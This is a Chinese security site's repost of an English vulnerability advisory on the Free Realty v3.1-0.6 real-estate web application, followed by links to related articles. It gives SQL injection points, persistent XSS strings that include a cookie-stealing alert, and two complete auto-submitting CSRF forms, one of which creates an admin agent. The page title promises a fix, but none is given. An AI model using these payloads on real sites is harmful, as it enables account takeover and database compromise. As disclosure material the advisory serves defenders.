Free Realty v3.1-0.6的缺陷介绍及其修复方法

所属分类: 网络安全 / 黑客教程 阅读数: 270
收藏 0 赞 0 分享
标题:Free Reality v3.1-0.6 - Multiple Web Vulnerabilities
介绍:
=============
Free Realty is primarily designed for real estate agents and offices to list properties on the internet. With Free Realty the end
user does not need to be fluent in web page design. Read more in the demo site
This is a fork of
software written by Jon Roig called Open Realty. Jon has moved on to version 3.0 while a number of users have requested
continued development on the 2.x series. Other sites of note regarding 2.x development
www.1axn.com/gi-bin/openforum/ikonboard.cgi the original discussion board, before Jon opened up his own.
影响版本:
=========
A Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in the Free Reality v3.1-0.6 web application.
问题类型:Remote
技术分析:
========
1.1
A remote SQL Injection vulnerability is detected in the Free Reality v3.1-0.6 web application.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on
the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
Vulnerable Module(s):
[+] agentdisplay.php?view=
[+] /admin/admin.php?edit=
1.2
Multiple persistent input validation vulnerabilities are detected in the Free Reality v3.1-0.6 web application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
Exploitation requires low user inter action.
Vulnerable Module(s):
[+] admin/agenteditor.php - inject notes about the Agent
[+] agentadmin.php?edit=2 - inject title / preview description: / Long description: / notes
[+] agentadmin.php?action=addlisting inject title / preview description: / Long description: / notes
[+] admin/adminfeatures.php - Add new feature
1.3
A cross site request forgery vulnerability is detected in in the Free Reality v3.1-0.6 web application. The bugs allow remote
attackers with high required user inter action to edit user accounts. Successful exploitation can lead to account access.
To exploit the issue the attacker need to create a manipulated copy the edit user mask/form. Inside of the document the
remote can implement his own values for the update because of no form or token protection. When admin get now forced to
execute the script via link he is executing the new value on the update of the application if his session is not expired.
Vulnerable Module(s):
[+] admin/agenteditor.php?action=addagent - Add agent
[+] admin/agenteditor.php?adminmodify=2 - Modify Agent
测试证明:
=================
1.1
The sql injection vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ...
PoC:
https://www.jb51.net /FR/agentdisplay.php?view=1[SQL-INJECTION!]
http://127.0.0.1/FR/admin/admin.php?edit=2[SQL-INJECTION!]
1.2
The persistent input validation vulnerability can be exploited by remote attackers with medium till low required user inter action.
For demonstration or reproduce ...
Note:
The issue can be exploited by an insert on the Created Object function with script code as value.
The result is the persistent execution out of the web application context.
Strings:
>"<<iframe src=http:// www.jb51.net />37</iframe> ... or
>"<script>alert(document.cookie)</script><div style="1
1.3
The csrf vulnerability can be exploited by remote attackers with high required user inter action. For demonstration or reproduce ...
<html>
<form name="test" action="http://127.0.0.1/FR/admin/agenteditor.php?adminmodify=2" method="post">
<input type="hidden" name="agent" value="test2"><br/>
<input type="hidden" name="agenttitle" value="test3"><br/>
<input type="hidden" name="agentpass" value="storm"><br/>
</form>
<script>document.test.submit();</script>
</html>
<html>
<form name="addagent" action="http://127.0.1.1/FR/admin/agenteditor.php?action=addagent" method="post">
<input type="hidden" name="agent" value="test3"><br/>
<input type="hidden" name="agenttitle" value="test3"><br/>
<input type="hidden" name="agentpass" value="test3"><br/>
<input type="hidden" name="agentfax" value="test3"><br/>
<input type="hidden" name="agentcell" value="test3"><br/>
<input type="hidden" name="agentphone" value="test3"><br/>
<input type="hidden" name="agenturl" value="test3"><br/>
<input type="hidden" name="agentemail=" value="test3@hotmail.com"><br/>
<input type="hidden" name="user_level" value="admin"><br/>
<input type="hidden" name="notes" value="TEST#"><br/>
</form>
<script>document.addagent.submit();</script>
</html>
Risk:
=====
1.1
The security risk of the remote SQL injection vulnerability is estimated as critical.
1.2
The security risk of the persistent input validation vulnerability is estimated as medium.
1.3
The security risk of the cross site request forgery vulnerability is estimated as low(+).
更多精彩内容其他人还在看

如何从运营角度保障DNS安全

如何从不同层面综合运营,保证DNS服务安全高效的运行?DNSPod工程师认为,主要应该从状态监控、信息告警、事件处理、数据记录、综合运营数据分析这五个方面入手。
收藏 0 赞 0 分享

DNS欺骗的原理 DNS防御实战演练

DNS即Domain Name System的缩写,域名系统以分布式数据库的形式将域名和IP地址相互映射。DNS协议即域名解析协议,简单的说:DNS是用来解析域名的。
收藏 0 赞 0 分享

对付DDoS攻击的三大绝招

不知道身为网络管理员的你是否遇到过服务器因为拒绝服务攻击都瘫痪的情况呢?就网络安全而言目前最让人担心和害怕的入侵攻击就要算是拒绝服务攻击了。和传统的攻击不同,采取的是仿真多个客户端来连接服务器,造成服务器无法完成如此多的客户端连接,从而无法提供服务。
收藏 0 赞 0 分享

ARP病毒查找与防范简易教程

当今,随着网络的快速发展,网络的安全也显得尤为重要,那我们怎么才能有效地防范各种病毒呢?如下我们给大家介绍一些ARP病毒查找与防范的相关内容。
收藏 0 赞 0 分享

web,sql分离的一点想法

这篇文章主要介绍了web,sql分离的一点想法,需要的朋友可以参考下
收藏 0 赞 0 分享

嗅探中当机的一点点启示(有问题就重启机器)

这篇文章主要介绍了嗅探中当机的一点点启示(有问题就重启机器),需要的朋友可以参考下
收藏 0 赞 0 分享

SYN Flood攻击与防御方法

SYN Flood是一种广为人知的DoS与DDoS的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式,需要深入了解的朋友可以参考一下
收藏 0 赞 0 分享

SYN Flood攻击原理与防护

SYN-Flood攻击是最为常见的ddos攻击,也是最为经典的拒绝服务攻击,它利用了TCP协议实现上的一个缺陷,通过向网络服务所在端口发送大量的伪造源地址的攻击报文,就造成目标服务器中的半开连接队列被占满,从而阻止其他合法用户进行访问,需要了解的朋友可以参考一下
收藏 0 赞 0 分享

LINUX 遭到SYN FLOOD攻击 LINUX下SYN攻防战

如何打响Linux服务器下的攻防战,感兴趣的小伙伴们可以参考一下本文,或许会有所收获。
收藏 0 赞 0 分享

Unix系统NC反弹shell的方法

Unix系统自带NC,但是为了安全,一般不会编译-e选项,也就无法反弹shell。但是可以变换一下思路,不直接使用NC反弹shell,而是反弹一个拥有shell权限的管道。
收藏 0 赞 0 分享
查看更多